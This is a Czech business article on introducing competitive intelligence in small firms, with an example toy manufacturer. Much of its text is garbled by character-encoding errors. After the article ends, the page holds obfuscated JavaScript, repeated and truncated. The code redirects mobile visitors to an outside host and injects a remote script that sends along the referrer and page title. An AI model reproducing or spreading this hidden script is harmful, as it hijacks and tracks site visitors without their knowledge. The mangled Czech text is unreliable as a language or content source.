UA?EAi??, M.: Competitive intelligence a malAi?? firmy (I.)

Autorské články, Odborné články, Realizace CI

5. 9. 2011

Na A?vod sAi??rie A?lA?nkA? o uplatnAi??nAi?? CI v malA?ch firmA?ch si vysvAi??tlAi??me nejen dA?leA?itost a moA?nAi?? vA?hody zavedenAi?? systAi??mu CI v malAi?? firmAi??, ale takAi?? stinnAi?? strA?nky ve spojitosti s menA?Ai?? velikostAi?? firmy. OdpovAi??me si zA?roveA? na otA?zku, zda mA? vA?bec CI pro malAi?? firmy nAi??jakA? vA?znam, nebo je to pouze vA?sada nadnA?rodnAi??ch korporacAi??. Pro lepA?Ai?? pochopenAi?? si uvedeme ilustrativnAi?? pAi??Ai??klad vyuA?itAi?? CI v malAi?? A?eskAi?? firmAi??.

Autor: Michal UA?eA?

PAi??Ai??nosy a problAi??my se zavedenAi??m CI v malAi?? firmAi??

Je pravdou, A?e v souA?asnAi?? dobAi?? vyuA?Ai??vajAi?? funkci competitive intelligence zejmAi??na vAi??tA?Ai?? firmy. MajAi?? dostatek finanA?nAi??ch zdrojA?, personA?lnAi?? kapacity a i sebemenA?Ai?? konkurenA?nAi?? vA?hoda v podobAi?? podpory pAi??i rozhodo­vA?nAi?? je pro nAi?? dA?leA?itA?. PopravdAi??, i velkA? A?A?st vAi??tA?Ai??ch firem (zejmAi??na pak v A?eskAi?? republice) provozuje CI spAi??A?e intuitivnAi?? a Ai??adAi?? tuto opomAi??jenou aktivitu nAi??kam do standardnAi?? funkA?nAi?? struktury (napAi??. pod marketing nebo marketingovA? vA?zkum). Je tedy vA?bec moA?nAi?? CI v malAi?? firmAi?? zavAi??st a efektivnAi?? ho provozovat?

PAi??ekA?A?ky a problAi??my zavedenAi?? CI v malA?ch firmA?ch

NejdAi??Ai??ve si shrA?me, co je vlastnAi?? pAi??ekA?A?kou pro zavedenAi?? funkce CI v malA?ch firmA?ch. PrvnAi?? pAi??Ai??A?inou je jednoznaA?nAi?? neznalost A?innosti a jejAi??ho pAi??Ai??nosu, coA? je ostatnAi?? i dA?vod, proA? nenAi?? CI souA?A?stAi?? organizaA?nAi?? struktury takAi?? mnohA?ch stAi??ednAi??ch a velkA?ch firem. Majitel, respektive management menA?Ai?? firmy, se tAi??A?ko dostane do styku s pojmem konkurenA?nAi??ho zpravodajstvAi?? a pokud na nAi??j uA? narazAi??, tAi??A?ko si dokA?A?e pAi??edstavit jeho uplatnAi??nAi?? v praxi. OtA?zkou je takAi?? pAi??Ai??mA? vliv na podnikA?nAi?? tak malAi?? firmy, protoA?e u vAi??tA?Ai??ch korporacAi?? jsou dA?sledky A?patnAi??ho strategickAi??ho rozhodnutAi?? daleko drastiA?tAi??jA?A­i?? neA? u menA?Ai?? firmy, kterA? je pruA?nA? a mA?A?e pomAi??rnAi?? rychle a snadno strategii mAi??nit. Management by si pAi??i zvaA?o­vA?nAi?? mAi??l uvAi??domit, co vlastnAi?? od CI oA?ekA?vA? a jestli bude mAi??t pro konkrAi??tnAi?? firmu pAi??Ai??nos. NejjednoduA?A?Ai?? je asi vzAi??t si konkrAi??tnAi?? situaci z historie firmy ai??i?? napAi??Ai??klad uvedenAi?? A?spAi??A?nAi??ho produktu konkurencAi??, vznik novAi?? konkurenA?nAi?? firmy nebo zmAi??na legislativy ovlivA?ujAi??cAi?? podnikA?nAi?? ai??i?? a poloA?it si otA?zku, jestli by v pAi??Ai??padAi?? vA?asnAi??ho zachycenAi?? informace prostAi??ednic­tvAi??m CI umAi??la firma takovou informaci zuA?itkovat.

DalA?Ai??m velkA?m problAi??mem jsou samozAi??ejmAi?? lidskAi?? zdroje. MalAi?? firmy majAi?? tradiA?nAi?? velmi jednoduchou organizaA?nAi?? strukturu, kterA? A?Ai??tA? maximA?lnAi?? pA?r desAi??tek zamAi??stnancA?. Vzhledem k velikosti firmy je vAi??tA?inou z dA?vodu optimalizace nA?kladA? redukovanA? na minimum a nenAi?? tedy divu, A?e v pAi??Ai??padAi?? zavedenAi?? bude CI tAi??mAi??Ai?? urA?itAi?? spojenAi?? s jinou funkcAi??. TAi??A?ko A?ekat, A?e by byla vytvoAi??ena samostatnA? pozice za tAi??mto A?A?elem (snad jen s vA?jimkou firem, pro kterAi?? je konkurenA?nAi?? zpravodajstvAi?? A?ivotnAi?? dA?leA?itAi??). V podstatAi?? vA?ak nejde o nijak zA?vaA?nou pAi??ekA?A?ku, kterA? by vA?raznAi?? ovlivnila efektivitu CI v malAi?? firmAi??. VhodnAi?? spojenAi?? zA?visAi?? na pAi??Ai??padAi?? konkrAi??tnAi?? firmy, nejbAi??A?nAi??ji to budou funkce blAi??zkAi?? marketingu nebo obchodu. Volba kompetentnAi?? osoby pro funkci CI specialisty (aA? sdAi??lenA? s jinou funkcAi?? ve firmAi??) je ale klAi??A?ovA?, zejmAi??na pak v malA?ch firmA?ch, kde nejsou definovanAi?? standardnAi?? postupy a efektivita CI doslova stojAi?? prA?vAi?? na osobAi??, kterA? ji vykonA?vA?.

S omezenou kapacitou zamAi??stnancA? souvisAi?? i dalA?Ai?? problAi??m, kterA?m jsou finanA?nAi?? zdroje. Pokud firma nemA? dostatek prostAi??edkA? pro zaplacenAi?? dalA?Ai??ho zamAi??stnance, nemA? samozAi??ejmAi?? ani pAi??ebytek financAi?? k zaplacenAi?? specializovanAi??ho softwaru nebo pAi??Ai??stupu do informaA?nAi??ch databA?zAi??. V souA?asnAi?? dobAi?? je pro CI velkA? A?A?st nA?strojA? dostupnA? jako on-line aplikace (mA?lokdy urA?enAi?? vA?hradnAi?? CI), za kterAi?? nenAi?? nutnAi?? platit. U profesionA?lnA­i??ho software je uA? potAi??eba poA?Ai??tat s nA?klady, v pAi??Ai??padAi?? malAi?? firmy se ale bez komplexnAi??ch nA?strojA? obejdeme. Investice do zAi??skA?vA?nAi?? dat uA? zA?leA?Ai?? na konkrAi??tnAi??m sektoru trhu, nAi??kterAi?? velmi uA?iteA?nAi?? on-line databA?ze mohou bA?t placenAi?? a to stejnAi?? platAi?? i o jinA?ch mAi??diAi??ch (napAi??. periodika z danAi??ho oboru), kterAi?? by potenciA?lnAi?? mohly obsahovat zajAi??mavAi?? informace.

PrA?vAi?? nedostatek informacAi?? mA?A?e bA?t dalA?Ai?? pAi??ekA?A?kou, na kterou malA? firma narazAi?? pAi??i zavA?dA­i??nAi?? CI. Nejde ani tak o to, A?e by v dostupnA?ch zdrojAi??ch nebyl dostatek informacAi?? pro danA? obor nebo o konkurenci; informace jsou vA?ak velmi A?asto prezentovanAi?? v mezinA?rodnAi??m mAi??Ai??Ai??tku. MalA? firma pA?sobAi??cAi?? na jednom trhu nebo dokonce s dosahem pouze v malAi??m regionu bude mAi??t problAi??my najAi??t relevantnAi?? informace. Zdroje informacAi?? se tedy budou znaA?nAi?? liA?it od situace ve velkA?ch firmA?ch, kterAi?? mohou pouA?Ai??vat rA?znAi?? nA?stroje zachycujAi??cAi?? zejmAi??na zprA?vy na mezinA?rodnAi?? aA? globA?lnAi?? A?rovni. NA?zornAi?? tento fakt ukazuje nAi??A?e uvedenAi?? schAi??ma: MalA? firma potAi??ebuje kvA?li svAi??mu pA?sobenAi?? na geograficky omezenAi??m A?zemAi?? spAi??A?e lokA?lnAi?? data neA? globA?lnAi??, kterA? jsou v mAi??diAi??ch zastoupena nejA?astAi??ji; pAi??Ai??kladem mohou bA?t informace o konkurenA?nAi??ch spoleA?nostech v mAi??stAi?? pA?sobenAi?? firmy, kterAi?? v nejvAi??ce pouA?Ai??vanA?ch zdrojAi??ch (ke kterA?m bezesporu patAi??Ai?? internet) budete hledat marnAi??. Z tohoto dA?vodu je nutnAi?? hledat alternativnAi?? informaA?nAi?? zdroje, coA? mA?A?e bA?t pomAi??rnAi?? tAi??A?kA? A?kol.

PAi??Ai??nos CI v malAi?? firmAi??

StA?le jsme si jeA?tAi?? neodpovAi??dAi??li na otA?zku, jakA? pAi??Ai??nos vlastnAi?? mA?A?e mAi??t konkurenA?nAi?? zpravodajstvAi?? pro malou firmu. ZjednoduA?enAi??, malA? firma mA? z CI v podstatAi?? stejnAi?? vA?hody, jako velkAi?? spoleA?nosti ai??i?? strategickA?, taktickA? i operativnAi?? rozhodnutAi?? se mohou opAi??rat o informace, kterAi?? mohou bA?t pro A?spAi??ch firmy rozhodujAi??cAi??. Oproti velkA?m spoleA?nostem mA? malA? firma obrovskou vA?hodu v tom, A?e je flexibilnAi?? a je tedy schopna rychlAi?? implementace strategie. RychlA? reakce je pomAi??rnAi?? A?asto hlavnAi?? konkurenA?nAi?? vA?hodou malA?ch firem, kterAi?? dokA?A?Ai?? pruA?nAi?? reagovat na aktuA?lnAi?? dAi??nAi?? na trhu, kroky vAi??tA?Ai??ch konkurentA? nebo zmAi??ny v legislativAi??. MoA?nost uvAi??st novA? produkt nebo zmAi??nit strategii ovA?em ztrA?cAi?? vA?znam, pokud se k firmAi?? dostane informace pAi??Ai??liA? pozdAi??. VA?asnAi?? informovA?nAi?? o novA?ch pAi??Ai??leA?i­tostech a hrozbA?ch v trA?nAi??m prostAi??edAi?? mA? za A?kol prA?vAi?? funkce CI, kterA? tak mA?A?e bA?t pro malou firmu kritickA?.

A?asto se v diskuzAi??ch CI profesionA?lA? (vAi??tA?inou z velkA?ch nadnA?rodnAi??ch firem) objevuje otA?zka, jak dokA?zat managementu pAi??Ai??nos a efektivitu CI vyjA?dAi??enA? v A?Ai??slech (napAi??Ai??klad nA?vratnost investice do zavedenAi?? systAi??mu a nA?kladA? na provoz). BohuA?el nenAi?? moA?nAi?? napAi??. Ai??Ai??ci, A?e zavedenAi??m funkce CI se zvA?A?Ai?? trA?by firmy o 20–30 %. SAi??la CI je v podpoAi??e rozhodovA?nAi??, jehoA? dA?sledky jsou mnohdy nejasnAi?? a viditelnAi?? aA? v dlouhodobAi??m horizontu, dokonce nAi??kdy ani nenAi?? moA?nAi?? jasnAi?? definovat, jestli bylo danAi?? Ai??eA?enAi?? situace sprA?vnAi??. Je potAi??eba, aby si management uvAi??domil, A?e hlavnAi?? vA?hoda CI je v zprostAi??ed­kovA?nAi?? co nejvAi??ce relevantnAi??ch informacAi?? pro uA?inAi??nAi?? sprA?vnAi??ho rozhodnutAi??. Nelze tedy A?ekat, A?e bude moA?nAi?? jej kvantifikovat. Jistou formou zhodnocenAi?? efektivity je ohlAi??dnutAi?? se zpAi??t a zjiA?tAi??nAi??, jakA? rozhodnutAi?? CI ovlivnilo a jakAi?? jsou jejich dA?sledky. BohuA?el, takovA? forma je moA?nA? aA? po zavedenAi?? systAi??mu, nikoliv pAi??i zvaA?o­vA?nAi??, jestli jej implementovat.

Kde najde CI nejvAi??tA?Ai?? uplatnAi??nAi??:

  • Rychle se rozvAi??jejAi??cA­i?? odvAi??tvAi??, kde je dA?raz na inovace

PAi??Ai??klad: Hi-tech, informaA?nAi?? technologie, biotechnologie

  • MAi??nAi??cAi?? se legislativa

PAi??Ai??klad: Pharma, jinAi?? regulovanAi?? sektory

  • Vysoce konkurenA?nAi?? trhy

PAi??Ai??klad: Hotely, gastro, rychloobrA?tkovAi?? zboA?Ai??

IlustrativnAi?? pAi??Ai??klad: firma ai??zHraA?ky z plastu s.r.o.ai??? vyrA?bAi??jAi??cA­i?? plastovAi?? hraA?ky

Pro lepA?Ai?? pochopenAi?? pAi??Ai??nosu CI si uveA?me pAi??Ai??klad: A?eskA? firma ai??zHraA?ky z plastu s.r.o.ai??? s 10 zamAi??stnanci vyrA?bAi?? jednoduchAi?? lisovanAi?? plastovAi?? hraA?ky, kterAi?? prostAi??ednic­tvAi??m vlastnAi??ho obchodu v BrnAi?? prodA?vA? vlastnAi??mi silami a souA?asnAi?? za pomoci distribuA?nAi?? sAi??tAi?? distribuuje do hraA?kA?Ai??stvAi?? v ostatnAi??ch regionech A?eskAi?? republiky. Jak mA?A?e CI pomoci tAi??to firmAi?? uspAi??t na vysoce konkurenA?nAi??m trhu? KonkurenA?nAi?? zpravodajstvAi?? mohlo zachytit napAi??Ai??klad nA?sledujAi??cAi?? zprA?vy:

ZachycenA? zprA?va: NovA?m hitem se v EvropAi?? stA?vajAi?? levnAi?? koA?A?rky s plastovou konstrukcAi??.
Reakce firmy: Firma provedla analA?zu potencionA?lu velmi atraktivnAi??ho trhu s koA?A?rky v A?eskAi?? republice. SouA?asnAi?? byly zvA?A?eny moA?nosti vA?roby jednotlivA?ch dAi??lA? na strojAi??ch, kterAi?? firma vlastnAi?? a pAi??Ai??padnAi?? nutnAi?? investice do novAi??ho zaAi??Ai??zenAi?? a rozA?Ai??Ai??enAi?? lidskA?ch zdrojA?.

ZachycenA? zprA?va: Firma ai??zTovarnanah­racky s.r.o.ai??? zvaA?ovala otevAi??Ai??t tovA?rnu na hraA?ky v centru mAi??sta Brna. ZA?kaznAi??ci mohou sledovat celA? proces manuA?lnAi?? vA?roby hraA?ek a pAi??Ai??padnAi?? si hraA?ky koupit rovnou z vA?roby.
Reakce firmy: PAi??Ai??prava strategie na vstup konkurenta do regionu, respektive analA?za moA?nAi?? spoluprA?ce (napAi??. spoleA?nA? prodej), vA?voj strategie.

ZachycenA? zprA?va: EvropskA? unie se chystA? zakA?zat pouA?Ai??vA?nAi?? zmAi??kA?ovadla DINP v plastovA?ch vA?robcAi??ch, kterAi?? jsou urA?eny pro dAi??ti.
Reakce firmy: AnalA?za, zda-li nenAi?? v plastu od souA?asnAi??ho dodavatele obsaA?eno zmAi??kA?ovadlo DINP, pAi??Ai??padnAi?? jestli nenAi?? schopen dodA?vat podobnA? materiA?l s alternativnAi??m zmAi??kA?ovadlem, kterAi?? EvropskA? Unie doporuA?Ai??. Pokud nebude souA?asnA? dodavatel schopnA? nahradit materiA?l, firma mA?A?e dAi??ky CI s pAi??edstihem vyhledat novAi??ho dodavatele materiA?lu.

ZachycenA? zprA?va: AmerickA? hraA?kA?Ai??skA? firma zaA?ala nabAi??zet pAi??edplacenA? pauA?A?l ai??zHraA?ky kaA?dA? mAi??sAi??c poA?tou.ai??? RodiA?e si na internetovA?ch strA?nkA?ch firmy jednoduA?e objednajAi?? roA?nAi?? pAi??edplatnAi?? a kaA?dA? mAi??sAi??c dojde jejich dAi??tAi??ti poA?tou novA? hraA?ka. Ai??irokA? nabAi??dka hraA?ek je okoAi??enAi??na nAi??kolika sbAi??ratelskA?mi sAi??riemi, nA?hodnA?m vA?bAi??rem kaA?dA? mAi??sAi??c nebo moA?nostAi?? objednat rA?znAi?? bonusovAi?? zA?silky napAi??Ai??klad k datu narozenAi?? dAi??tAi??te nebo na VA?noce.
Reakce firmy: Firma podrobnAi?? prozkoumala novA? distribuA?nAi?? kanA?l a strategii americkAi?? firmy, nA?klady spojenAi?? se zavedenAi??m a propagacAi?? sluA?by a zvA?A?ila pAi??Ai??padnou implementaci do obchodnAi?? strategie firmy na A?eskAi??m trhu.

JakAi?? by mAi??lo bA?t CI v malAi?? firmAi???

Z vA?A?e uvedenAi??ho si tedy shrA?me, jakAi?? vlastnosti by mAi??lo mAi??t CI v malAi?? firmAi??:

  • IntuitivnAi??: Nechte kompetentnAi?? osobAi??, kterA? se CI bude vAi??novat, volnou ruku. PAi??edevA?Ai??m ona je klAi??A?ovA?m A?lA?nkem pro sprA?vnou funkci CI v malAi?? firmAi??. PopiA?te jAi?? cAi??le CI ve vaA?Ai?? firmAi??, jakA? jsou hlavnAi?? tAi??mata pro vyhledA?vA?nAi?? informacAi??. MA?A?ete takAi?? navrhnout vhodnAi?? informaA?nAi?? zdroje, nicmAi??nAi?? vAi??tA?inou je prA?ce CI specialisty zA?bavnA? proto, A?e zAi??skA?vA? mAi??nAi?? dostupnAi?? a zajAi??mavAi?? informace.
  • JednoduchAi??: PouA?Ai??vejte jednoduchA? zpA?sob komunikace (napAi??. e-mail nebo krA?tkAi?? pravidelnAi?? prezentace), u malAi?? firmy nebude objem informacAi?? tak velkA?, A?e by bylo nutnAi?? vytvA?Ai??et komplexnAi?? reporty.
  • LevnAi??: VyuA?Ai??vejte nA?strojA?, kterAi?? jsou zdarma. PlacenA? software je vAi??tA?inou urA?enA? velkA?m firmA?m a malAi?? firmAi?? by nepAi??inesl vA?raznou pAi??idanou hodnotu.
  • RychlAi??: Flexibilita je hlavnAi?? konkurenA?nAi?? domAi??nou malAi?? firmy. Pokud bude cyklus CI ve vaA?Ai?? firmAi?? rychlA?, mA?A?ete jeA?tAi?? pruA?nAi??ji reagovat na poA?adavky nebo zmAi??ny na trhu.
  • SdAi??lenAi??: NAi??kdy nenAi?? od vAi??ci zapojit do CI celou firmu. SamozAi??ejmAi?? by mAi??la bA?t osoba vyhrazenA? pro tuto funkci, kterA? informace prezentuje ostatnAi??m, ale spolupracovat na zAi??skA?vA?nAi?? informacAi?? mohou vA?ichni. OstatnAi??, kaA?dA? mA? nejlepA?Ai?? pAi??ehled ve svAi?? oblasti (marketingovA? manaA?er, obchodnAi??k, prA?vnAi??k, …).


V pAi??Ai??A?tAi?? A?A?sti seriA?lu o CI v malA?ch firmA?ch se podAi??vA?me uA? blAi??A?e na konkrAi??tnAi?? kroky zavedenAi?? systAi??mu CI do firmy. var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×d052=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­33\x63\x58\x66\x71\x6B\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ 